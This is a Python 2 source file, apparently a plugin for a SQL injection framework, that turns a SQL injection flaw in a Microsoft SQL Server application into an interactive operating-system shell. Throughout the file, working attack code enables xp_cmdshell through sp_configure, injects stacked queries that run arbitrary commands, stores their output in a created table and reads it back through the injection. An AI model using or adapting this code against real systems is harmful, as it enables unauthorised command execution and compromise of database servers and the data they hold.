import logging

from framework.myexceptions import MyException
from framework.queries import Query
from framework.interfaces import IPlugin
from framework.baseclass import BPlugin

class MssqlShell(BPlugin, IPlugin):
    def __init__(self, api):
	BPlugin.__init__(self, api)

	self.__logger = logging.getLogger('framework.mythreading.MssqlShell')
	self.enabled_xpcmdshell = False

    def name(self): return "MSSQL Shell"
    def description(self): 
	return """
	Creates an interactive shell via MS SQL Server xp_cmdshell stored procedure. First of all it creates a
	table where the output of every launched command will be stored. Then it'll do a select of every row and
	print it on the screen. 
	
	The parameter error_string will be used to check the correctness of every sql query.
	This plugin works better with a union sql injection because of its speed rate.
	"""

    def init(self):
	pass

    def parameters(self): 
	return dict(
	    table_name = ('PYSQLIN', 'Sets created table name.'),
	    firstquery = ('(select user)', 'This is first stacked query. Be careful with parentheses!. ex. http://...id=2 union select 8,(select user());...exec xp_cmdshell stuff....')
	)

    def commands(self): 
	return (
	    ('run', 'Launchs injection shell','run', [], self.cmd_exploit),
	    ('unload', 'Unload PL/SQL injection','unload', [], self.cmd_unload),
	    ('enable_xp_cmdshell', 'Enable xp_cmdshell on MSSQL 2005.','enable_xp_cmdshell', [], self.cmd_enablexp),
	)

    def print_results(self, ffrom):
	data = self.get_session_data()

	query = Query('count', "(select cast(count(*) as varchar) from " + data['table_name'] + ")")
	word = self.make_injection(query)
	try:
	    rows = int(word)
	except TypeError:
	    return 0
	    
	for n in range(ffrom, rows):
	    word = self.make_injection(Query(select="(select result from " + data['table_name'] + " where num=" + str(n) + ")"))
	    if word is None: return
	    self.print_msg(word)

	return rows

    def exec_command(self, cmd):
	data = self.get_session_data()

	word = self.make_injection(Query(select=data['firstquery']), Query(select="insert into " + data['table_name'] + " exec master.dbo.xp_cmdshell \"" + cmd + "\""))
	if word is None: return

    def ishell(self):
	ffrom = 1

	while True:
	    try:
		cmd = raw_input("shell> ")
		cmd = cmd.strip()
		self.exec_command(cmd)
		ffrom = self.print_results(ffrom)
		if ffrom == 0: self.print_error("No results. Is xp_cmdshell enabled?")
		print 
	    except Exception, error:
		self.print_error(error)
		break

    def cmd_enablexp(self, **event):
	steps = [
	    ('Enabling show advanced options', "EXEC sp_configure 'show advanced options', 1"),
	    ('Reconfigure...', "reconfigure"),
	    ('Enabling stored procedure', "exec sp_configure 'xp_cmdshell',1"),
	    ('Reconfigure...', "reconfigure"),
	]

	self.query_requester(steps)
	self.enabled_xpcmdshell = True

    def cmd_exploit(self, **event):
	data = self.get_session_data()
	steps = [
	    ('Delete old table', "drop table " + data['table_name'] + ";"),
	    ('Table creation', "create table " + data['table_name'] + " (num int identity(1,1), result varchar(512));"),
	]

	if self.query_requester(steps):
	    self.print_status("Launching shell...\n")
	    self.ishell()

    def cmd_unload(self, **event):
	data = self.get_session_data()
	steps = [
	    ('Delete created table', "drop table " + data['table_name'] + ";"),
	]
	if self.enabled_xpcmdshell:
	    steps.append(('Disabling stored procedure', "exec sp_configure 'xp_cmdshell',0"))
	    steps.append(('Reconfigure...', "reconfigure"))
	    steps.append(('Disabling show advanced options', "EXEC sp_configure 'show advanced options', 0"))
	    steps.append(('Reconfigure...', "reconfigure"))

	self.query_requester(steps)

def load(api):
    return MssqlShell(api)
